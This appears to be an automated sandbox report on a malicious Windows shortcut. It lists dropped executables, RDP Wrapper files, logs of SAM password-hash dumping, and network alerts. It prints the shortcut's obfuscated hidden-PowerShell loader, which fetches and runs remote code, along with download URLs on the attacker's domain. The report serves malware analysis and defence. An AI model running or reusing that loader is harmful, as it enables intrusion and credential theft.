                                                                                                                                          File Type:ASCII text, with no line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):60
                                                                                                                                          Entropy (8bit):4.038920595031593
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                          MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                          SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                          SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                          SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                          C:\Windows\Temp\deviceId.txt

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):37
                                                                                                                                          Entropy (8bit):4.229327351940021
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:4yHbkT/dkcovn:dbkRsn
                                                                                                                                          MD5:17D74848A2AABEDAF9A3BF09D7CF3A2B
                                                                                                                                          SHA1:056C4F9329C07DD7A3414257E1D77D41D4C402C5
                                                                                                                                          SHA-256:AEF31441A868B517503CE23E6D663969A50CAC256CA3311CCD17EE1AE11D5C26
                                                                                                                                          SHA-512:8A0C39EACAEA374E904A931F97D8C32C1BABCB47763195979D93AEA366624B304F6B0B25CB8CBFDE5B56AA129CFC9B51B3BAA697149295A103A53D9E5139E580
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:.63013372F6575A9D4EA29CB608798ED9..

                                                                                                                                          C:\Windows\Temp\docsz

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\myRdpService.exe
                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):271
                                                                                                                                          Entropy (8bit):4.959233174821663
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:6:IwRJBYzRJBYlr8SJBY4U4GVjWIUE5dMnpqX:I8sRs8SD8jW3EvMpo
                                                                                                                                          MD5:09B25CAC0BFA90484337CCC8EF9DCD60
                                                                                                                                          SHA1:1BBF4858E3266F1E6B89B8A0A3D567CB2A30FA4A
                                                                                                                                          SHA-256:53DCA461E84E00AF9900DC80A07421B8BCF309D5A046A6317166315ED6FD1C49
                                                                                                                                          SHA-512:A5B08D0A86DFDE44A20C7454532705B24E9A065F43A9CC3F0B67841673B769CBF969A82BF464935B5AB3D8550D25FE17FBA56A259D06757F1783A52FCE090B65
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:Administrator|31d6cfe0d16ae931b73c59d7e0c089c0..Guest|31d6cfe0d16ae931b73c59d7e0c089c0..DefaultAccount|31d6cfe0d16ae931b73c59d7e0c089c0..WDAGUtilityAccount|21A354058DFF20F7943C42B0FDF94216..user|32ED87BDB5FDC5E9CBA88547376818D4..User1|9D40E39ADEB5D56955BED3470DA6D02C..

                                                                                                                                          C:\Windows\Temp\dp

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):24
                                                                                                                                          Entropy (8bit):2.7179360295889174
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:QnlVldGlVlil:QdUu
                                                                                                                                          MD5:A6850FB0659A548ACF3B99814BF23C93
                                                                                                                                          SHA1:690D23F93EEA833EB4D5B8D20F3938E25E64BB72
                                                                                                                                          SHA-256:38961B38E6AFD73A897F43E7513755EAE09B9605AB97E698F2201665F4CF96DB
                                                                                                                                          SHA-512:DD61B6C972655AEFD3BFA5BA493476644071354EA482F224FEB2F5BC0992B6DC59CB7918F0F41139B0D4E73848850A8070DB82BB0DC4915999E33CCA22FAA37E
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:..1.9.2.0.x.1.0.8.0.....

                                                                                                                                          C:\Windows\Temp\file

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):8351232
                                                                                                                                          Entropy (8bit):6.870213524632391
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:98304:c6ELl9Xn8eQO54RgwIL6gTayjL9rjX27v/tIDZaFaOgj:c6EHXBQbRE5Tayjhrj2QaFaOS
                                                                                                                                          MD5:0F611184B8A15C73AD43B82BDE807849
                                                                                                                                          SHA1:4FBE94B19F1C69BA5ED4EF6DE134FAEC1B5B7270
                                                                                                                                          SHA-256:2E77D02BBB8C853FE46B0CDC0D98A96CEF2C3DCB58CD98906CB1A2306F3213A4
                                                                                                                                          SHA-512:C02A1D9646C662AFBD722F67AE141B6C8B75417AB800A605E085A02B95AECE0372CC8BFB5931820D586928E1A2F0EC5BFA56DA8C7E7B7204FAA8ECF2ABD63C29
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:L[......................A............................................... ..M. Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/...%.........v...................._...............Z.......Z...............Z.......[.......[......Shbi............QD..e......f..........#....(..F..G8...............A.............................q............a..........................................)..Y...i)..U....A.......q..E............Q......1...........................).....A.............^............................./udyu...y&.......)..................!..a/l`o`fde..:..A....:..-..............!..aixes`ude......F........................./se`u`..]>3...^..A3...F.............A..A/e`u`........Q...o....{.............A.../qe`u`..E....q........{.............A..A/srsb........A.......W~.............A..A/sdmnb.......Q.......]~.............A..C........................................................................................................................................................................................

                                                                                                                                          C:\Windows\Temp\log_rdp_08112024_05.txt

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\myRdpService.exe
                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):1053
                                                                                                                                          Entropy (8bit):5.289577754193864
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:24:DOVBWMXhBWMlMBWMlJsoHFdJIRPRIRBylgDxG3wwq:qnWMWrWPoHES8laY3wN
                                                                                                                                          MD5:98498D183A0C163150C7FAB6219A363D
                                                                                                                                          SHA1:4E2F69D43A00C7BD72FD1A7B745126285F061174
                                                                                                                                          SHA-256:5965CB5FAEA780E2520EA705D22BBC45F068F517ED6D5AC752A2D2073AF36187
                                                                                                                                          SHA-512:BD12806C6FE533C847390B3F4B2FCF577A139E665923594BE9C992C84DE15BA0A48E6B6EF9233433CE697B31C8BEF3E2C1811E832772C87B4DA77AB40FCEE506
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:17:28:40 - Internet connection..17:28:51 - The server returned status code '404' when status code '101' was expected...17:28:53 - The server returned status code '404' when status code '101' was expected...17:29:06 - The server returned status code '404' when status code '101' was expected...17:29:14 - Begin connect..17:29:20 - BootKey: D6-AA-4D-99-DC-41-86-C3-63-A1-2C-89-7F-F8-5B-85..17:29:20 - Successfully accessed SAM hive...17:29:20 - Reading usernames and encrypted hashes.....17:29:20 - Administrator..17:29:20 - Guest..17:29:20 - DefaultAccount..17:29:20 - WDAGUtilityAccount..17:29:20 - user..17:29:20 - User1..17:29:20 - SAM_Resolution_1920x1080..17:29:21 - SAM_USER_Administrator|31d6cfe0d16ae931b73c59d7e0c089c0..17:29:21 - SAM_USER_Guest|31d6cfe0d16ae931b73c59d7e0c089c0..17:29:22 - SAM_USER_DefaultAccount|31d6cfe0d16ae931b73c59d7e0c089c0..17:29:23 - SAM_USER_WDAGUtilityAccount|21A354058DFF20F7943C42B0FDF94216..17:29:23 - SAM_USER_user|32ED87BDB5FDC5E9CBA88547376818D4..17:29:2

                                                                                                                                          C:\Windows\Temp\myRdpService.exe

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\svczHost.exe
                                                                                                                                          File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):9427456
                                                                                                                                          Entropy (8bit):6.890384949334134
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:98304:FagXMQc5xC9yZAaynfX9lvlJIg/EX4AAXC06GM3NOC02kf:DXMNYyGft7JIg/dAAXkGcu2
                                                                                                                                          MD5:F651568CD1F1A7ABAEDD4389DA3A2F14
                                                                                                                                          SHA1:44C482F52EE997816D2582CF1D1C0A5295BA8DC9
                                                                                                                                          SHA-256:5B570471125EA0A0E5E693AB8493381A59E08C909472B461A9B1FF007CD1BB12
                                                                                                                                          SHA-512:4BDA0642A063BFE3B86FF97C2F7500910BEA416507B9814C0DDAC0631B1B30ED47DCC6E22752B6566353B4F7386522A6E3C104B3EB055C5BA938522ED095B429
                                                                                                                                          Malicious:true
                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6 ..Xs..Xs..Xs...s..Xs..Yr..Xs..Ys,.Xs..[r..Xs..\r..Xs..]r..Xs..\r..Xs..Xs..Xs..]r.Xs..Xr..Xs..Zr..XsRich..Xs................PE..d...UR+g.........."....).:P...A................@.............................@............`...................................................|........................... ..L...............................(...P...@.............l..............................text....G.......H.................. ..`.managed..C..`....C..L.............. ..`hydrated.....`P..........................rdata..pq9...l..r9..>P.............@..@.data....x..........................@....pdata..............6..............@..@.rsrc...............................@..@.reloc..L.... .....................@..B................................................................................................................................................................

                                                                                                                                          C:\Windows\Temp\rdp.exe

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\svczHost.exe
                                                                                                                                          File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):2183168
                                                                                                                                          Entropy (8bit):6.620626266352186
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:24576:jchRbUXn4iGk2rqwy9HE9VkPL9jpc+6WiaTAsN/3ebTvK+63CWH8iA/iD2hgPjca:A02G9jpXpdqYH8ia6GcKuR7
                                                                                                                                          MD5:BFF2365257251B6BA227A5E748DBD62E
                                                                                                                                          SHA1:DE93C66097D6ACEC527CEE5CE43D80F94D26400E
                                                                                                                                          SHA-256:8508DEB548FC601403F6832B80E023C6BF964695E69B6B93FC555029F44CD6CC
                                                                                                                                          SHA-512:1805C963615DF0C2CF63AB2F717A4A09FBCD34C3FEF7773E57EFC4CEC97F7DDEB64C3DF4035BD66990C71C4C8FCA0C21C6C006B5672592BD13F4CF9A6A3505D5
                                                                                                                                          Malicious:true
                                                                                                                                          Yara Hits:
                                                                                                                                          • Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Windows\Temp\rdp.exe, Author: Joe Security
                                                                                                                                          Antivirus:
                                                                                                                                          • Antivirus: ReversingLabs, Detection: 66%
                                                                                                                                          Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...4X.f.....................@......|........0....@..........................0"...........@......@......................q....................................@...K...........................0..................................f....................text... ........................... ..`.itext...#.......$.................. ..`.data...P=...0...>..................@....bss.....h...p...........................idata...............N..............@....didata.f............`..............@....edata..q............d..............@..@.tls.... .... ...........................rdata..]....0.......f..............@..@.reloc...K...@...L...h..............@..B.rsrc...............................@..@.............0"......P!.............@..@................

                                                                                                                                          C:\Windows\Temp\rdpwrap.dll

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\rdp.exe
                                                                                                                                          File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):116736
                                                                                                                                          Entropy (8bit):5.884975745255681
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3072:m3zxbyHM+TstVfFyov7je9LBMMmMJDOvYYVs:oMjTiVw2ve9LBMMpJsT
                                                                                                                                          MD5:461ADE40B800AE80A40985594E1AC236
                                                                                                                                          SHA1:B3892EEF846C044A2B0785D54A432B3E93A968C8
                                                                                                                                          SHA-256:798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
                                                                                                                                          SHA-512:421F9060C4B61FA6F4074508602A2639209032FD5DF5BFC702A159E3BAD5479684CCB3F6E02F3E38FB8DB53839CF3F41FE58A3ACAD6EC1199A48DC333B2D8A26
                                                                                                                                          Malicious:true
                                                                                                                                          Antivirus:
                                                                                                                                          • Antivirus: ReversingLabs, Detection: 54%
                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.rB/.!B/.!B/.!.~.!j/.!.~.!&/.!.~3!H/.!..'!G/.!B/.!./.!O}.!F/.!O}0!C/.!O}7!C/.!O}2!C/.!RichB/.!................PE..d...Z..T.........." .................Q....................................... ............`.........................................0...l.......<...................................................................`...p............ ...............................text............................... ..`.rdata..<.... ......................@..@.data....=..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

                                                                                                                                          C:\Windows\Temp\rdpwrap.ini

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\rdp.exe
                                                                                                                                          File Type:Generic INItialization configuration [SLPolicy]
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):451403
                                                                                                                                          Entropy (8bit):5.4500636051576725
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:1536:DyGYQ33L+MUIiG4IvREWddadl/Fy/ksMF:DVH33L+MBdadl/Fy/kz
                                                                                                                                          MD5:A10BF6E08E330C3EADBA87AA5E868517
                                                                                                                                          SHA1:FD99482EE6A5B94D2BE9B645CF9E3330E0161351
                                                                                                                                          SHA-256:832230E2942613C81A8A2FC60E867215ABFF546238CAB6FA82F473B6DD07F37C
                                                                                                                                          SHA-512:38245488973A4C9EF79BB63AD8A84A70C05B62042A35A8F2A25F73A312969F7E0D40C2BB92663C3B3B299944C14B19984802612FD041E06406C72A83CDD70163
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-11-02..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

                                                                                                                                          C:\Windows\Temp\regBackup.reg

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\regedit.exe
                                                                                                                                          File Type:Windows Registry little-endian text (Win2K or above)
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):5492
                                                                                                                                          Entropy (8bit):3.2564408602149646
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:96:0PVJqMXWMRUYSFd5YtU6W66zpVwkP9Odgd8zkFJdlzOkJdB0u1Jd8ui4c4d8zB/H:sVJqgUZ/5+g7P94RgFx9R43Zy1TbZH56
                                                                                                                                          MD5:A766DECEF71813234AAF41DB4EF5086E
                                                                                                                                          SHA1:564473B1CB74ED13E820C62F30642836B8D983C6
                                                                                                                                          SHA-256:8CA780CD4F6488CBBB1B6999D935B4F8352B36B3E2E1E54301875C6483A87535
                                                                                                                                          SHA-512:C3CF7BADAD40C63C0479DD7A50762968038A9D402E8AE34697F30D09E206D5D090270013504B801EECB82D234280535E21629A6F23F1F04CE1CF2D3EF0C37051
                                                                                                                                          Malicious:true
                                                                                                                                          Preview:..W.i.n.d.o.w.s. .R.e.g.i.s.t.r.y. .E.d.i.t.o.r. .V.e.r.s.i.o.n. .5...0.0.........[.H.K.E.Y._.L.O.C.A.L._.M.A.C.H.I.N.E.\.S.Y.S.T.E.M.\.C.u.r.r.e.n.t.C.o.n.t.r.o.l.S.e.t.\.S.e.r.v.i.c.e.s.\.T.e.r.m.S.e.r.v.i.c.e.].....".D.e.p.e.n.d.O.n.S.e.r.v.i.c.e.".=.h.e.x.(.7.).:.5.2.,.0.0.,.5.0.,.0.0.,.4.3.,.0.0.,.5.3.,.0.0.,.5.3.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.....".D.e.s.c.r.i.p.t.i.o.n.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.7.".....".D.i.s.p.l.a.y.N.a.m.e.".=.".@.%.S.y.s.t.e.m.R.o.o.t.%.\.\.S.y.s.t.e.m.3.2.\.\.t.e.r.m.s.r.v...d.l.l.,.-.2.6.8.".....".E.r.r.o.r.C.o.n.t.r.o.l.".=.d.w.o.r.d.:.0.0.0.0.0.0.0.1.....".F.a.i.l.u.r.e.A.c.t.i.o.n.s.".=.h.e.x.:.8.0.,.5.1.,.0.1.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.3.,.0.0.,.0.0.,.0.0.,.1.4.,.0.0.,.0.0.,.\..... . .0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.1.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.0.0.,.6.0.,.e.a.,.0.0.,.0.0.....".I.m.a.g.e.P.a.t.h.".=.h.e.x.

                                                                                                                                          C:\Windows\Temp\svczHost.exe

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):8351232
                                                                                                                                          Entropy (8bit):6.8702135246323905
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:98304:3qyaZJr8q0SLK/1JQv6udEr3onGwuNztOqZ+:6BgqrKNwvdK3iGwgOqZ
                                                                                                                                          MD5:EB57894A8FF610DF55C97E427D0DDD7B
                                                                                                                                          SHA1:B53BD3683487B873D1D4D0077C432698702CC347
                                                                                                                                          SHA-256:41310862773697FF00306B143FFDA60C87D2EA4E44774289F1F2ED0E74D2CF1B
                                                                                                                                          SHA-512:E7FC0571CB0BA516794A52A3277D3CB15049FFB739EBC203D80E6F9FCD08F6B5848AF470BA0F082A3D039472A83ED87512C0E4750946406649097C097EECFF40
                                                                                                                                          Malicious:true
                                                                                                                                          Antivirus:
                                                                                                                                          • Antivirus: ReversingLabs, Detection: 16%
                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w....................^...............[.......[...............[.......Z.......Z......Rich............PE..d......g.........."....)..G..F9...............@.............................p............`..........................................(..X...h(..T....@.......p..D............P......0...........................(.......@............._..............................text...x'.......(.................. ..`.managed..;..@....;..,.............. ..`hydrated......G..........................rdata..\?2..._..@2...G.............@..@.data........P...n....z.............@....pdata..D....p........z.............@..@.rsrc........@.......V..............@..@.reloc.......P.......\..............@..B........................................................................................................................................................................................

                                                                                                                                          \Device\ConDrv

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\Temp\svczHost.exe
                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):145
                                                                                                                                          Entropy (8bit):4.979379799228385
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:eDLpHWf0wUWdhtq1OKxxTqovApDLpHWf0wUWdhtq1OKEpq3h:eDLp2f0cdht6dTqovApDLp2f0cdht6QY
                                                                                                                                          MD5:C2969E09B9D415273E926EA528623E3C
                                                                                                                                          SHA1:4C0A6311EA2F3298596B95D2F9E22CD2738A9267
                                                                                                                                          SHA-256:88755DF68B0335B3C1C3FCAB7880F62A65861224B7F16A23E63B9CE91E571A4C
                                                                                                                                          SHA-512:3E6DEB882193C9C5BEC340F5C85E16313C539EB150553F8DBAA5543B44B28C7B52E4943B57DC12AF57408D122902D9666933677251522F6BB0C934A744C75867
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:Begin download https://uyt1n8ded9fb380.com/StaticFile/RdpService/52..Begin download https://uyt1n8ded9fb380.com/StaticFile/TermServiceTryRun/89..

                                                                                                                                          Static File Info

                                                                                                                                          General

                                                                                                                                          File type:MS Windows shortcut, Has Working directory, Has command line arguments, Icon number=347, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
                                                                                                                                          Entropy (8bit):8.54001397163243E-4
                                                                                                                                          TrID:
                                                                                                                                          • Windows Shortcut (20020/1) 100.00%
                                                                                                                                          File name:4YgQ2xN41W.lnk
                                                                                                                                          File size:17'825'792 bytes
                                                                                                                                          MD5:5e8b0524eb05f88bbfd422640fab0497
                                                                                                                                          SHA1:09d47dc67c542e230840d6a8ea8edf310bdfca97
                                                                                                                                          SHA256:f6a392f44d61f31e678ded3640be2944f02f3f9aef4c6d6155ff8396cb1536fd
                                                                                                                                          SHA512:3ee2b6131f29e71ab7513a03787d8c35a3c6453fb205099de797b4a5ea65e74c8bce56876032d600e86a642590620f9f23498024a460ea9aa15e4d2c63aefabf
                                                                                                                                          SSDEEP:48:8i/YcvBOWA05K+5/o34A+5MwJDrOcUVQucmmflInx4OqI:8i/y05TBHOwJysxflwOh
                                                                                                                                          TLSH:C50728006AFB00C9E2236B366FECF5B6A275F4A4192EB2F5124189094B71584C833B72
                                                                                                                                          File Content Preview:L..................F.B..................................[.......................<./.v. ./.k. .".s.^.T.^.A.R.^.T. ./.m.^.I.^.n. .".". .P.^.O.^.w.e.r.s.^.h.^.E.^.l.^.L. .-.w. .h.^.I.^.d.d.e.^.N. .-.n.O.^.l.^.O.g.O. .-.n.o.P. .-.e.P. .B.y.^.p.A.^.S.S. .-.E.N

                                                                                                                                          File Icon

                                                                                                                                          Icon Hash:69e9a9a9a3a3a1a5

                                                                                                                                          Static Windows Shortcut Info

                                                                                                                                          General

                                                                                                                                          Relative Path:
                                                                                                                                          Command Line Argument:/v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit
                                                                                                                                          Icon location:%SystemRoot%\System32\imageres.dll

                                                                                                                                          Network Behavior

                                                                                                                                          Suricata IDS Alerts

                                                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                          2024-11-08T11:27:15.895885+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.11.2049709104.21.86.219443TCP
                                                                                                                                          2024-11-08T11:27:18.206709+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.11.2049711104.21.86.219443TCP
                                                                                                                                          2024-11-08T11:27:20.376735+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.11.2049713104.21.86.219443TCP
                                                                                                                                          2024-11-08T11:27:43.121585+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.11.2049729104.21.86.219443TCP
                                                                                                                                          2024-11-08T11:28:28.322196+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.11.2049734104.21.86.219443TCP
                                                                                                                                          2024-11-08T11:29:10.562244+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.11.2049740104.21.86.219443TCP

                                                                                                                                          Network Port Distribution

                                                                                                                                          TCP Packets

                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                          Nov 8, 2024 11:27:12.369801044 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:12.369823933 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:12.370017052 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:12.379940987 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:12.379952908 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:12.596553087 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:12.596730947 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:12.598784924 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:12.598793983 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:12.598979950 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:12.604767084 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:12.647963047 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.442786932 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.442893028 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.442954063 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.443030119 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.443075895 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:13.443101883 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.443228006 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:13.491465092 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:13.692713022 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.692847967 CET44349708104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:13.693072081 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:13.700073957 CET49708443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:14.854454994 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:14.854542017 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:14.854736090 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:14.855003119 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:14.855053902 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.071548939 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.073641062 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:15.073683977 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.895937920 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.896112919 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.896239042 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.896382093 CET44349709104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:15.896435976 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:15.896570921 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:15.907999039 CET49709443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:16.049423933 CET49710443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:16.049482107 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:16.049652100 CET49710443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:16.049851894 CET49710443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:27:16.049875975 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:16.266947031 CET44349710104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:27:16.268677950 CET49710443192.168.11.20104.21.86.219
